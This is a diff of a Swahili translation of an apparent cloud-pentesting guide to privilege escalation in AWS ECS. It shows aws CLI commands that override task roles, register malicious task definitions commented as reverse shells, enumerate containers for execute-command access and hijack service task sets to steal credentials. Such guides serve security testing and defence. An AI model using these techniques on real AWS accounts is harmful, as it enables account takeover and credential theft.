+Mshambulizi aliyeko na ruhusa za `iam:PassRole` na `ecs:RunTask` anaweza kuanzisha task mpya ya ECS yenye mabadiliko ya **execution role**, **task role** na thamani za **command** za container. Amri ya CLI `ecs run-task` ina flag ya `--overrides` inayoruhusu kubadilisha kwa wakati wa utekelezaji `executionRoleArn`, `taskRoleArn` na **command** ya container bila kubadilisha task definition.
 
-Roles zilizobainishwa za IAM kwa `taskRoleArn` na `executionRoleArn` lazima ziwe zimekubali/ziruhusu kuchukuliwa na `ecs-tasks.amazonaws.com` katika trust policy yao.
+IAM roles zilizobainishwa kwa `taskRoleArn` na `executionRoleArn` lazima ziwe zimewaruhusu `ecs-tasks.amazonaws.com` kuzichukua katika trust policy zao.
 
-Also, the attacker needs to know:
-- ECS cluster name
-- VPC Subnet
-- Security group (Ikiwa hakuna security group imetajwa, itatumika default)
-- Task Definition Name and revision
+Pia, mshambulizi anahitaji kujua:
+- Jina la ECS cluster
+- Subnet ya VPC
+- Security group (Kama hakuna security group iliyotajwa, itatumika ile ya chaguo-msingi)
+- Jina la Task Definition na revision
 - Jina la Container
 ```bash
 aws ecs run-task \
@@ -105,9 +105,9 @@ aws ecs run-task \
 ]
 }'
 ```
-Katika kifungu cha msimbo kilicho juu mshambuliaji anabadilisha tu thamani ya `taskRoleArn`. Hata hivyo, mshambuliaji lazima awe na ruhusa ya `iam:PassRole` kwa `taskRoleArn` iliyobainishwa kwenye amri na kwa `executionRoleArn` iliyobainishwa katika task definition ili shambulio lifanyike.
+Katika kipande cha msimbo kilicho juu attacker anabadilisha tu thamani ya `taskRoleArn`. Hata hivyo, attacker lazima awe na ruhusa ya `iam:PassRole` juu ya `taskRoleArn` iliyotajwa katika amri na `executionRoleArn` iliyotajwa katika task definition ili shambulio lifanikie.
 
-Ikiwa IAM role ambayo mshambuliaji anaweza kuipitisha ina ruhusa za kutosha za kushusha image kutoka ECR na kuanzisha ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`) basi mshambuliaji anaweza kuweka IAM role ile ile kwa `executionRoleArn` na `taskRoleArn` katika amri ya `ecs run-task`.
+Ikiwa IAM role ambayo attacker anaweza kupitisha ina vibali vya kutosha kuvuta image ya ECR na kuanzisha ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) basi attacker anaweza kutaja IAM role ile ile kwa `executionRoleArn` na `taskRoleArn` katika amri ya `ecs run-task`.
 ```sh
 aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
 {
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
 ]
 }'
 ```
-**Athari Inayoweza Kutokea:** Direct privesc to any ECS task role.
+**Potential Impact:** Privesc ya moja kwa moja kwa kila ECS task role.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
-Kama katika mfano uliopita, mshambuliaji anayezitumia vibaya ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** katika ECS anaweza **kuunda task definition mpya** yenye **container mbaya** inayopora cheti za metadata na **kuikimbia**.\\
-Hata hivyo, katika kesi hii, inahitaji kuwepo container instance ili kuendesha task definition ya ushambulizi.
+Kama ilivyo kwenye mfano uliopita, mshambuliaji anayetumia vibaya ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** katika ECS anaweza **kuunda task definition mpya** yenye **container hatarishi** inayochukua credentials za metadata na **kuendesha**.\
+Hata hivyo, katika kesi hii, inahitajika kuwepo kwa container instance ili kuendesha task definition hatarishi.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Athari Inayoweza Kutokea:** Moja kwa moja privesc kwa kila ECS role.
+**Potential Impact:** Privesc ya moja kwa moja kwa role yoyote ya ECS.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
 
-Kama katika mfano uliopita, mshambuliaji akitumia vibaya ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** au **`ecs:CreateService`** katika ECS anaweza **kuunda task definition mpya** yenye **malicious container** ambayo inaiba metadata credentials na **kuiendesha kwa kuunda service mpya yenye angalau task 1 inayoendesha.**
+Kama ilivyo katika mfano uliopita, mshambulizi anayetumia vibaya ruhusa za **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** au **`ecs:CreateService`** katika ECS anaweza **kuunda task definition mpya** yenye **container yenye madhara** ambayo huiba metadata credentials na **kuendesha kwa kuunda service mpya yenye angalau task moja inayoendesha.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,12 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**Potential Impact:** Privesc ya moja kwa moja kwa jukumu lolote la ECS.
+**Athari Inayoweza Kutokea:** Direct privesc kwa role yoyote ya ECS.
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-Kweli, kwa ruhusa hizo pekee inawezekana kutumia overrides kutekeleza amri wowote ndani ya container ukiwa na role yoyote kwa kitu kama:
+
+Kwa kweli, kwa ruhusa hizo pekee inawezekana kutumia overrides kutekeleza amri zozote ndani ya container kwa role yoyote, kwa kitu kama:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -185,12 +186,12 @@ aws ecs run-task \
 
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Senario hii ni kama zile zilizopita lakini **bila** ruhusa ya **`iam:PassRole`**.\
-Hii bado inavutia kwa sababu ikiwa unaweza kuendesha container yoyote, hata kama haina role, unaweza **kuendesha container yenye ruhusa za juu ili kutoroka** hadi node na **kuiba role ya EC2 IAM** na **role za container nyingine za ECS** zinazoendesha kwenye node.\
-Unaweza hata **kulazimisha tasks nyingine ziendeshe ndani ya EC2 instance** uliyoiingiza ili kuiba credentials zao (kama ilivyojadiliwa katika [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
+Hali hii ni kama zile zilizotangulia lakini **bila** ruhusa ya **`iam:PassRole`**.\
+Hili bado lina umuhimu kwa sababu ikiwa unaweza kuendesha container yoyote, hata bila role, unaweza **run a privileged container to escape** hadi node na **steal the EC2 IAM role** na **the other ECS containers roles** zinazofanya kazi kwenye node.\
+Unaweza hata **force other tasks to run inside the EC2 instance** unayocompromise ili uibe credentials zao (kama ilivyoelezwa katika the [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
 
 > [!WARNING]
-> Shambulio hili linawezekana tu ikiwa **ECS cluster inatumia EC2** instances na si Fargate.
+> Shambulio hili linawezekana tu ikiwa **ECS cluster is using EC2** instances na si Fargate.
 ```bash
 printf '[
 {
@@ -233,13 +234,12 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Mshambuliaji mwenye **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** anaweza **kutekeleza amri** ndani ya container inayoendesha na exfiltrate IAM role iliyounganishwa nayo (unahitaji ruhusa za describe kwa sababu ni muhimu kuendesha `aws ecs execute-command`).\
+Mshambuliaji aliye na **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** anaweza **kutekeleza amri** ndani ya container inayokimbia na kusafirisha nje IAM role iliyounganishwa nayo (unahitaji ruhusa za describe kwa sababu ni lazima ili kuendesha `aws ecs execute-command`).\
+Hata hivyo, ili kufanya hivyo, container instance inahitaji kuwa inaendesha **ExecuteCommand agent** (ambayo kwa default haipo).
 
-Hata hivyo, ili kufanya hivyo, container instance inahitaji kuwa inaendesha **ExecuteCommand agent** (ambayo kwa chaguo-msingi haipo).
+Kwa hiyo, mshambuliaji anaweza kujaribu:
 
-Kwa hivyo, mshambuliaji anaweza kujaribu:
-
-- **Jaribu kuendesha amri** katika kila container inayoendesha
+- **Jaribu kuendesha amri** katika kila container inayokimbia
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -259,16 +259,16 @@ aws ecs execute-command --interactive \
 ```
 - Ikiwa ana **`ecs:RunTask`**, endesha task kwa kutumia `aws ecs run-task --enable-execute-command [...]`
 - Ikiwa ana **`ecs:StartTask`**, endesha task kwa kutumia `aws ecs start-task --enable-execute-command [...]`
-- Ikiwa ana **`ecs:CreateService`**, unda service kwa kutumia `aws ecs create-service --enable-execute-command [...]`
+- Ikiwa ana **`ecs:CreateService`**, tengeneza service kwa kutumia `aws ecs create-service --enable-execute-command [...]`
 - Ikiwa ana **`ecs:UpdateService`**, sasisha service kwa kutumia `aws ecs update-service --enable-execute-command [...]`
 
 Unaweza kupata **mifano ya chaguzi hizo** katika **sehemu za awali za ECS privesc**.
 
-**Madhara Yanayoweza Kutokea:** Privesc kwa cheo tofauti kilichounganishwa na kontena.
+**Athari Inayoweza Kutokea:** Privesc kwa role tofauti iliyounganishwa na containers.
 
 ### `ssm:StartSession`
 
-Angalia kwenye **ssm privesc page** jinsi unavyoweza kutumia vibaya ruhusa hii ili **privesc kwa ECS**:
+Angalia kwenye ukurasa wa **ssm privesc** jinsi unavyoweza kutumia vibaya ruhusa hii ili **privesc kwa ECS**:
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -276,7 +276,7 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-Angalia kwenye **ec2 privesc page** jinsi unavyoweza kutumia vibaya ruhusa hizi ili **privesc kwa ECS**:
+Angalia kwenye ukurasa wa **ec2 privesc** jinsi unavyoweza kutumia vibaya ruhusa hizi ili **privesc kwa ECS**:
 
 {{#ref}}
 aws-ec2-privesc.md
@@ -284,16 +284,16 @@ aws-ec2-privesc.md
 
 ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
 
-Mshambuliaji aliye na ruhusa hizi anaweza kusajili instance ya EC2 kwenye cluster ya ECS na kuendesha tasks juu yake. Hii inaweza kumruhusu mshambuliaji kuendesha msimbo wowote ndani ya muktadha wa tasks za ECS.
+Mshambuliaji mwenye ruhusa hizi anaweza kusajili EC2 instance katika ECS cluster na kuendesha tasks juu yake. Hii inaweza kumruhusu mshambuliaji kutekeleza msimbo yoyote ndani ya muktadha wa tasks za ECS.
 
-- TODO: Je, inawezekana kusajili instance kutoka kwa akaunti tofauti ya AWS ili tasks ziendeshwe chini ya mashine zinazodhibitiwa na mshambuliaji??
+- TODO: Je inawezekana kusajili instance kutoka kwa AWS account tofauti ili tasks ziendeshwe chini ya mashine zinazosimamiwa na mshambuliaji??
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
 > [!NOTE]
 > TODO: Jaribu hili
 
-Mshambuliaji aliye na ruhusa `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, na `ecs:DescribeTaskSets` anaweza **kuunda task set ya hatari kwa service ya ECS iliyopo na kusasisha primary task set**. Hii inamruhusu mshambuliaji **kuendesha msimbo wowote ndani ya service**.
+Mshambuliaji mwenye ruhusa `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, na `ecs:DescribeTaskSets` anaweza **kuunda task set ya uharibifu kwa service ya ECS iliyopo na kusasisha primary task set**. Hii inamwezesha mshambuliaji **kutekeleza msimbo wowote ndani ya service**.
 ```bash
 # Register a task definition with a reverse shell
 echo '{
@@ -319,9 +319,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Athari Inayowezekana**: Kutekeleza arbitrary code katika huduma iliyoathirika, jambo linaloweza kuathiri utendakazi wake au kusafirisha nje data nyeti.
+**Athari Inayoweza Kutokea**: Kutekeleza arbitrary code katika service iliyoharibiwa, ambayo inaweza kuathiri utendaji wake au exfiltrating taarifa nyeti.
 
-## Marejeleo
+## Marejeo
 
 - [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)